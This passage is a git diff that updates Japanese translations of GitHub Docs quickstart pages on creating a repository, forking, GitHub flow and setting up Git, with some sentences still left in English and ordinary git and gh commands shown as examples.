   - Accounts
 ---
-## Create a repository
+
+## リポジトリの作成
 
 {% ifversion fpt or ghec %}
 
-You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)."
+オープンソースプロジェクトを含む、さまざまなプロジェクトを {% data variables.product.prodname_dotcom %} リポジトリに保存できます。 [オープンソースプロジェクト](http://opensource.org/about)では、より優れた信頼性のあるソフトウェアを作成するためにコードを共有できます。 You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)."
 
 {% elsif ghes or ghae %}
 
-You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+インナーソースプロジェクトを含め、さまざまなプロジェクトを {% data variables.product.product_name %} リポジトリに保存できます。 インナーソースを使用すると、コードを共有して、より優れた、より信頼性の高いソフトウェアを作成できます。 インナーソースの詳細については、{% data variables.product.company_short %} のホワイトペーパー「[インナーソース入門](https://resources.github.com/whitepapers/introduction-to-innersource/)」を参照してください。
 
 {% endif %}
 
@@ -33,26 +34,22 @@ You can store a variety of projects in {% data variables.product.product_name %}
 
 {% note %}
 
-**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
+**メモ:** オープンソースプロジェクトのパブリックリポジトリを作成できます。 パブリックリポジトリを作成する際は、他のユーザにどのようにプロジェクトを共有してほしいのかを定義する[ライセンスファイル](https://choosealicense.com/)を含めるようにしてください。 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endnote %}
 
 {% endif %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.create_new %}
-2. Type a short, memorable name for your repository. For example, "hello-world".
-  ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png)
-3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}."
-  ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png)
+2. リポジトリに、短くて覚えやすい名前を入力します。 たとえば、"hello-world" といった名前です。 ![リポジトリ名を入力するフィールド](/assets/images/help/repository/create-repository-name.png)
+3. 必要な場合、リポジトリの説明を追加します。 たとえば、「{% data variables.product.product_name %} の最初のリポジトリ」などです。 ![リポジトリの説明を入力するフィールド](/assets/images/help/repository/create-repository-desc.png)
 {% data reusables.repositories.choose-repo-visibility %}
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-Congratulations! You've successfully created your first repository, and initialized it with a *README* file.
+おめでとうございます。 最初のリポジトリ作成に成功し、初期設定として *README* ファイルが生成されました。
 
 {% endwebui %}
 
@@ -61,32 +58,27 @@ Congratulations! You've successfully created your first repository, and initiali
 {% data reusables.cli.cli-learn-more %}
 
 1. In the command line, navigate to the directory where you would like to create a local clone of your new project.
-2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. 
-3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.  
+2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`.
+3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.
 4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag.  For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
 
 {% endcli %}
 
-## Commit your first change
-
-{% include tool-switcher %}
+## 最初の変更をコミットする
 
 {% webui %}
 
-A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
+*[コミット](/articles/github-glossary#commit)*とは、ある特定の時点における、あなたのプロジェクト内のすべてのファイルのスナップショットのようなものです。
 
-When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository.
+上の例では、新しいリポジトリを作成すると同時に *README* ファイルを生成しました。 *README* ファイルは、プロジェクトの詳細を説明したり、プロジェクトのインストール方法や使い方などのドキュメンテーションを書き込んだりするためにふさわしい場所です。 *README* ファイルの内容は、リポジトリのフロントページに自動的に表示されます。
 
-Let's commit a change to the *README* file.
+それでは、*README* ファイルに変更を加えてコミットしてみましょう。
 
-1. In your repository's list of files, click ***README.md***.
-  ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png)
-2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}.
-3. On the **Edit file** tab, type some information about yourself.
-  ![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. リポジトリのファイル一覧にある、[***README.md***] をクリックします。 ![ファイル一覧にある README ファイル](/assets/images/help/repository/create-commit-open-readme.png)
+2. ファイルの中身の上にある {% octicon "pencil" aria-label="The edit icon" %}をクリックします。
+3. [**Edit file**] タブで、あなた自身に関する情報を入力します。 ![ファイル内の新しいコンテンツ](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
-5. Review the changes you made to the file. You'll see the new content in green.
-  ![File preview view](/assets/images/help/repository/create-commit-review.png)
+5. ファイルに加えた変更を確認します。 新しいコンテンツは緑色で表示されます。 ![ファイルプレビュービュー](/assets/images/help/repository/create-commit-review.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
@@ -97,7 +89,7 @@ Let's commit a change to the *README* file.
 
 Now that you have created a project, you can start committing changes.
 
-*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file.
+*README* ファイルは、プロジェクトの詳細を説明したり、プロジェクトのインストール方法や使い方などのドキュメンテーションを書き込んだりするためにふさわしい場所です。 *README* ファイルの内容は、リポジトリのフロントページに自動的に表示されます。 Follow these steps to add a *README* file.
 
 1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.)
 1. Create a *README* file with some information about the project.
@@ -132,9 +124,9 @@ Now that you have created a project, you can start committing changes.
 
 {% endcli %}
 
-## Celebrate
+## おめでとうございます
 
-Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}.
+おめでとうございます。 *README* ファイルを持つ新しいリポジトリを作成し、{% data variables.product.product_location %}に最初のコミットを作成しました。
 
 {% webui %}
 
diff --git a/translations/ja-JP/content/get-started/quickstart/fork-a-repo.md b/translations/ja-JP/content/get-started/quickstart/fork-a-repo.md
index c9fa67d1cb..4f546dfef5 100644
--- a/translations/ja-JP/content/get-started/quickstart/fork-a-repo.md
+++ b/translations/ja-JP/content/get-started/quickstart/fork-a-repo.md
@@ -1,12 +1,12 @@
 ---
-title: Fork a repo
+title: リポジトリをフォークする
 redirect_from:
   - /fork-a-repo
   - /forking
   - /articles/fork-a-repo
   - /github/getting-started-with-github/fork-a-repo
   - /github/getting-started-with-github/quickstart/fork-a-repo
-intro: A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project.
+intro: フォークとはリポジトリのコピーのことです。 リポジトリをフォークすることにより、オリジナルのプロジェクトに影響を与えることなく変更を自由にテストできます。
 permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
 versions:
   fpt: '*'
@@ -19,46 +19,45 @@ topics:
   - Notifications
   - Accounts
 ---
-## About forks
 
-Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)."
+## フォークについて
 
-### Propose changes to someone else's project
+一般的にフォークは、他のユーザのプロジェクトへの変更を提案するため、あるいは他のユーザのプロジェクトを自分のアイディアの出発点として活用するために使用します。 You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)."
 
-For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you've found, you can:
+### 他のユーザのプロジェクトへの変更を提案する
 
-- Fork the repository.
-- Make the fix.
-- Submit a pull request to the project owner.
+たとえば、フォークを使用して、バグの修正に関連する変更を提案できます。 見つけたバグから Issue をログするのではなく、以下のことができます:
 
-### Use someone else's project as a starting point for your own idea.
+- リポジトリをフォークする。
+- 修正する。
+- プロジェクトのオーナーにプルリクエストを送信する。
 
-Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the "[About the Open Source Initiative](http://opensource.org/about)" on the Open Source Initiative.
+### 他のユーザのプロジェクトを自分のアイディアの出発点として活用する。
 
-For more information about applying open source principles to your organization's development work on {% data variables.product.product_location %}, see {% data variables.product.prodname_dotcom %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+オープンソースソフトウェアは、コードを共有することで、より優れた、より信頼性の高いソフトウェアを作成可能にするという考えに基づいています。 詳しい情報については、Open Source Initiative の「[Open Source Initiative について](http://opensource.org/about)」を参照してください。
+
+{% data variables.product.product_location %} に関する Organization の開発作業にオープンソースの原則を適用する方法の詳細については、{% data variables.product.prodname_dotcom %} のホワイトペーパー「[インナーソース入門](https://resources.github.com/whitepapers/introduction-to-innersource/)」を参照してください。
 
 {% ifversion fpt or ghes or ghec %}
 
-When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see "[Choose an open source license](https://choosealicense.com/)" at choosealicense.com.
+他のユーザのプロジェクトのフォークからパブリックリポジトリを作成する際は、プロジェクトの他者との共有方法を定義するライセンスファイルを必ず含めてください。 詳しい情報については、choosealicense.com の「[オープンソースのライセンスを選択する](https://choosealicense.com/)」を参照してください。
 
 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-If you haven't yet, you should first [set up Git](/articles/set-up-git). Don't forget to [set up authentication to {% data variables.product.product_location %} from Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git) as well.
+まだ設定していない場合は、まず [Git を設定](/articles/set-up-git)します。 [Git からの {% data variables.product.product_location %} への認証を設定](/articles/set-up-git#next-steps-authenticating-with-github-from-git)することも忘れないでください。
 
-## Forking a repository
+## リポジトリをフォークする
 
-{% include tool-switcher %}
 {% webui %}
 
-You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
+上流または元のリポジトリへの変更を提案するために、プロジェクトをフォークする場合があります。 この場合、自分のフォークを上流のリポジトリと定期的に同期させるとよいでしょう。 これには、コマンドラインで Git を使用する必要があります。 先程フォークした同じ [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) リポジトリを使用して、上流リポジトリの設定を練習できます。
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
-2. In the top-right corner of the page, click **Fork**.
-![Fork button](/assets/images/help/repository/fork_button.jpg)
+2. ページの右上にある [**Fork**] をクリックします。 ![[Fork] ボタン](/assets/images/help/repository/fork_button.jpg)
 
 {% endwebui %}
 
@@ -87,19 +86,18 @@ gh repo fork <em>repository</em> --org "octo-org"
 
 Right now, you have a fork of the Spoon-Knife repository, but you don't have the files in that repository locally on your computer.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.change-current-directory-clone %}
-4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+4. `git clone` と入力し、前の手順でコピーした URL を貼り付けます。 次のようになるはずです (`YOUR-USERNAME` はあなたの {% data variables.product.product_name %} ユーザ名に置き換えてください):
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   ```
 
-5. Press **Enter**. Your local clone will be created.
+5. **Enter** を押します。 これで、ローカルにクローンが作成されます。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   > Cloning into `Spoon-Knife`...
@@ -137,30 +135,29 @@ gh repo fork <em>repository</em> --clone=true
 
 When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
 4. Change directories to the location of the fork you cloned.
-    - To go to your home directory, type just `cd` with no other text.
-    - To list the files and folders in your current directory, type `ls`.
-    - To go into one of your listed directories, type `cd your_listed_directory`.
-    - To go up one directory, type `cd ..`.
-5. Type `git remote -v` and press **Enter**. You'll see the current configured remote repository for your fork.
+    - ホームディレクトリに移動するには、`cd` とだけ入力します。
+    - 現在のディレクトリのファイルとフォルダを一覧表示するには、`ls` と入力します。
+    - 一覧表示されたディレクトリのいずれかにアクセスするには、`cd your_listed_directory` と入力します。
+    - 1 つ上のディレクトリに移動するには、`cd ..` と入力します。
+5. `git remote -v` と入力して **Enter** キーを押します。 フォーク用に現在構成されているリモートリポジトリが表示されます。
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (push)
   ```
 
-6. Type `git remote add upstream`, and then paste the URL you copied in Step 2 and press **Enter**. It will look like this:
+6. `git remote add upstream` と入力し、ステップ 2 でコピーした URL を貼り付けて **Enter** キーを押します。 次のようになります:
   ```shell
   $ git remote add upstream https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
   ```
 
-7. To verify the new upstream repository you've specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the original repository as `upstream`.
+7. フォーク用に指定した新しい上流リポジトリを確認するには、再度 `git remote -v` と入力します。 フォークの URL が `origin` として、オリジナルのリポジトリの URL が `upstream` として表示されるはずです。
   ```shell
   $ git remote -v
   > origin    https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
@@ -169,7 +166,7 @@ When you fork a project in order to propose changes to the original repository,
   > upstream  https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git (push)
   ```
 
-Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
+これで、いくつかの Git コマンドでフォークと上流リポジトリの同期を維持できます。 For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
 
 {% endwebui %}
 
@@ -191,23 +188,23 @@ gh repo fork <em>repository</em> --remote-name "main-remote-repo"
 
 {% endcli %}
 
-### Next steps
+### 次のステップ
 
-You can make any changes to a fork, including:
+フォークには、次のような変更を加えることができます。
 
-- **Creating branches:** [*Branches*](/articles/creating-and-deleting-branches-within-your-repository/) allow you to build new features or test out ideas without putting your main project at risk.
-- **Opening pull requests:** If you are hoping to contribute back to the original repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+- **ブランチを作成する:** [*ブランチ*](/articles/creating-and-deleting-branches-within-your-repository/)によって、メインプロジェクトをリスクにさらすことなく新機能を構築したりアイデアを試したりできます。
+- **プルリクエストをオープンする:** オリジナルのリポジトリにコントリビュートしたい場合は、[プルリクエスト](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)を送信して、オリジナルの作者に自分のフォークをリポジトリへプルするようリクエストを送信できます。
 
-## Find another repository to fork
-Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %}
+## フォークする他のリポジトリを見つける
+リポジトリをフォークしてプロジェクトへのコントリビューションを開始しましょう。 {% data reusables.repositories.you-can-fork %}
 
-{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. 詳しい情報については、「[{% data variables.product.prodname_dotcom %} でオープンソースにコントリビュートする方法を見つける](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)」を参照してください。
 
 {% endif %}
 
-## Celebrate
+## おめでとうございます
 
-You have now forked a repository, practiced cloning your fork, and configured an upstream repository. For more information about cloning the fork and syncing the changes in a forked repository from your computer see "[Set up Git](/articles/set-up-git)."
+リポジトリをフォークし、フォークのクローンを練習し、上流リポジトリを構成しました。 For more information about cloning the fork and syncing the changes in a forked repository from your computer see "[Set up Git](/articles/set-up-git)."
 
 You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. For more information see, "[Create a repository](/articles/create-a-repo)."
 
diff --git a/translations/ja-JP/content/get-started/quickstart/github-flow.md b/translations/ja-JP/content/get-started/quickstart/github-flow.md
index e555ed5d9f..a483f5eabb 100644
--- a/translations/ja-JP/content/get-started/quickstart/github-flow.md
+++ b/translations/ja-JP/content/get-started/quickstart/github-flow.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub flow
+title: GitHub のフロー
 intro: 'Follow {% data variables.product.prodname_dotcom %} flow to collaborate on projects.'
 redirect_from:
   - /articles/creating-and-editing-files-in-your-repository
@@ -18,11 +18,12 @@ topics:
   - Fundamentals
 miniTocMaxHeadingLevel: 3
 ---
-## Introduction
+
+## はじめに
 
 {% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow. The {% data variables.product.prodname_dotcom %} flow is useful for everyone, not just developers. For example, here at {% data variables.product.prodname_dotcom %}, we use {% data variables.product.prodname_dotcom %} flow for our [site policy](https://github.com/github/site-policy), [documentation](https://github.com/github/docs), and [roadmap](https://github.com/github/roadmap).
 
-## Prerequisites
+## 必要な環境
 
 To follow {% data variables.product.prodname_dotcom %} flow, you will need a {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
 
@@ -40,7 +41,7 @@ To follow {% data variables.product.prodname_dotcom %} flow, you will need a {%
 
 ### Create a branch
 
-  Create a branch in your repository. A short, descriptive branch name enables your collaborators to see ongoing work at a glance. For example, `increase-test-timeout` or `add-code-of-conduct`. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)."
+  Create a branch in your repository. A short, descriptive branch name enables your collaborators to see ongoing work at a glance. For example, `increase-test-timeout` or `add-code-of-conduct`. 詳しい情報については[リポジトリ内でのブランチの作成と削除](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)を参照してください。
 
   By creating a branch, you create a space to work without affecting the default branch. Additionally, you give collaborators a chance to review your work.
 
@@ -64,9 +65,9 @@ Continue to make, commit, and push changes to your branch until you are ready to
 
 {% endtip %}
 
-### Create a pull request
+### Pull Requestの作成
 
-Create a pull request to ask collaborators for feedback on your changes. Pull request review is so valuable that some repositories require an approving review before pull requests can be merged. If you want early feedback or advice before you complete your changes, you can mark your pull request as a draft. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)."
+Create a pull request to ask collaborators for feedback on your changes. Pull request review is so valuable that some repositories require an approving review before pull requests can be merged. If you want early feedback or advice before you complete your changes, you can mark your pull request as a draft. 詳しい情報については[プルリクエストの作成](/articles/creating-a-pull-request)を参照してください。
 
 When you create a pull request, include a summary of the changes and what problem they solve. You can include images, links, and tables to help convey this information. If your pull request addresses an issue, link the issue so that issue stakeholders are aware of the pull request and vice versa. If you link with a keyword, the issue will close automatically when the pull request merges. For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)" and "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)."
 
@@ -78,21 +79,21 @@ In addition to filling out the body of the pull request, you can add comments to
 
 Your repository may be configured to automatically request a review from specific teams or users when a pull request is created. You can also manually @mention or request a review from specific people or teams.
 
-If your repository has checks configured to run on pull requests, you will see any checks that failed on your pull request. This helps you catch errors before merging your branch. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+If your repository has checks configured to run on pull requests, you will see any checks that failed on your pull request. This helps you catch errors before merging your branch. 詳しい情報については、「[ステータスチェックについて](/github/collaborating-with-issues-and-pull-requests/about-status-checks)」を参照してください。
 
 ### Address review comments
 
 Reviewers should leave questions, comments, and suggestions. Reviewers can comment on the whole pull request or add comments to specific lines. You and reviewers can insert images or code suggestions to clarify comments. For more information, see "[Reviewing changes in pull requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests)."
 
-You can continue to commit and push changes in response to the reviews. Your pull request will update automatically.
+You can continue to commit and push changes in response to the reviews. プルリクエストは自動的に更新されます。
 
 ### Merge your pull request
 
-Once your pull request is approved, merge your pull request. This will automatically merge your branch so that your changes appear on the default branch. {% data variables.product.prodname_dotcom %} retains the history of comments and commits in the pull request to help future contributors understand your changes. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)."
+Once your pull request is approved, merge your pull request. This will automatically merge your branch so that your changes appear on the default branch. {% data variables.product.prodname_dotcom %} retains the history of comments and commits in the pull request to help future contributors understand your changes. 詳しい情報については[プルリクエストのマージ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)を参照してください。
 
-{% data variables.product.prodname_dotcom %} will tell you if your pull request has conflicts that must be resolved before merging. For more information, see "[Addressing merge conflicts](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)."
+{% data variables.product.prodname_dotcom %} will tell you if your pull request has conflicts that must be resolved before merging. 詳細は「[マージコンフリクトに対処する](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)」を参照してください。
 
-Branch protection settings may block merging if your pull request does not meet certain requirements. For example, you need a certain number of approving reviews or an approving review from a specific team. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+Branch protection settings may block merging if your pull request does not meet certain requirements. For example, you need a certain number of approving reviews or an approving review from a specific team. 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches)を参照してください。
 
 ### Delete your branch
 
diff --git a/translations/ja-JP/content/get-started/quickstart/index.md b/translations/ja-JP/content/get-started/quickstart/index.md
index cfc4b9e48c..13ad37b086 100644
--- a/translations/ja-JP/content/get-started/quickstart/index.md
+++ b/translations/ja-JP/content/get-started/quickstart/index.md
@@ -1,5 +1,5 @@
 ---
-title: Quickstart
+title: クイックスタート
 intro: 'Get started using {% data variables.product.product_name %} to manage Git repositories and collaborate with others.'
 versions:
   fpt: '*'
diff --git a/translations/ja-JP/content/get-started/quickstart/set-up-git.md b/translations/ja-JP/content/get-started/quickstart/set-up-git.md
index f8272f9fc3..c6ba8a1151 100644
--- a/translations/ja-JP/content/get-started/quickstart/set-up-git.md
+++ b/translations/ja-JP/content/get-started/quickstart/set-up-git.md
@@ -1,5 +1,5 @@
 ---
-title: Set up Git
+title: Git のセットアップ
 redirect_from:
   - /git-installation-redirect
   - /linux-git-installation
@@ -12,7 +12,7 @@ redirect_from:
   - /articles/set-up-git
   - /github/getting-started-with-github/set-up-git
   - /github/getting-started-with-github/quickstart/set-up-git
-intro: 'At the heart of {% data variables.product.prodname_dotcom %} is an open source version control system (VCS) called Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer.'
+intro: '{% data variables.product.prodname_dotcom %} の中心には、Git というオープンソースバージョンコントロールシステム (VCS) があります。 Git は、{% data variables.product.prodname_dotcom %} に関連してローカルコンピュータで発生するすべての動作の根本を担っています。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -24,38 +24,39 @@ topics:
   - Notifications
   - Accounts
 ---
-## Using Git
 
-To use Git on the command line, you'll need to download, install, and configure Git on your computer. You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+## Git を使用する
 
-If you want to work with Git locally, but don't want to use the command line, you can instead download and install the [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) client.  For more information, see "[Installing and configuring {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)."
+コマンドラインで Git を使うには、あなたのコンピュータに Git をダウンロードし、インストールし、設定する必要があります。 You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. 詳しい情報については、「[{% data variables.product.prodname_cli %} について](/github-cli/github-cli/about-github-cli)」を参照してください。
 
-If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete many Git-related actions directly in the browser, including:
+ローカルで Git を動かしたいけれどもコマンドラインを使いたくない場合、代わりに [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) クライアントをダウンロードしインストールしてください。  詳しい情報については、「[{% data variables.product.prodname_desktop %} のインストールと設定](/desktop/installing-and-configuring-github-desktop/)」を参照してください。
 
-- [Creating a repository](/articles/create-a-repo)
-- [Forking a repository](/articles/fork-a-repo)
-- [Managing files](/repositories/working-with-files/managing-files)
-- [Being social](/articles/be-social)
+ローカルでファイルを扱う作業をする必要がない場合、{% data variables.product.product_name %} により、以下を含む、多くの Git 関連のアクションをブラウザで直接実行できます:
 
-## Setting up Git
+- [リポジトリを作成する](/articles/create-a-repo)
+- [リポジトリをフォークする](/articles/fork-a-repo)
+- [ファイルを管理する](/repositories/working-with-files/managing-files)
+- [交流する](/articles/be-social)
 
-1. [Download and install the latest version of Git](https://git-scm.com/downloads).
+## Git をセットアップする
+
+1. [Git の最新バージョンをダウンロードしてインストールする](https://git-scm.com/downloads)。
 
 {% note %}
 
 **Note**: If you are using a Chrome OS device, additional set up is required:
 
 1. Install a terminal emulator such as Termux from the Google Play Store on your Chrome OS device.
-2. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted. 
+2. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted.
 
 {% endnote %}
 
-2. [Set your username in Git](/github/getting-started-with-github/setting-your-username-in-git).
-3. [Set your commit email address in Git](/articles/setting-your-commit-email-address).
+2. [Git でユーザ名を設定する](/github/getting-started-with-github/setting-your-username-in-git)。
+3. [Git のコミットメールアドレスを設定する](/articles/setting-your-commit-email-address)。
 
-## Next steps: Authenticating with {% data variables.product.prodname_dotcom %} from Git
+## 次のステップ: Git から {% data variables.product.prodname_dotcom %} で認証する
 
-When you connect to a {% data variables.product.prodname_dotcom %} repository from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH.
+Git から {% data variables.product.prodname_dotcom %} リポジトリに接続した場合、HTTPS または SSH を使って、{% data variables.product.product_name %} で認証する必要があります。
 
 {% note %}
 
@@ -63,17 +64,17 @@ When you connect to a {% data variables.product.prodname_dotcom %} repository fr
 
 {% endnote %}
 
-### Connecting over HTTPS (recommended)
+### HTTPS で接続 (推奨)
 
-If you [clone with HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), you can [cache your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) using a credential helper.
+[HTTPS でクローンする](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)場合、認証情報ヘルパーを使用して [Git で {% data variables.product.prodname_dotcom %} の認証情報をキャッシュ](/github/getting-started-with-github/caching-your-github-credentials-in-git)できます。
 
-### Connecting over SSH
+### SSH で接続
 
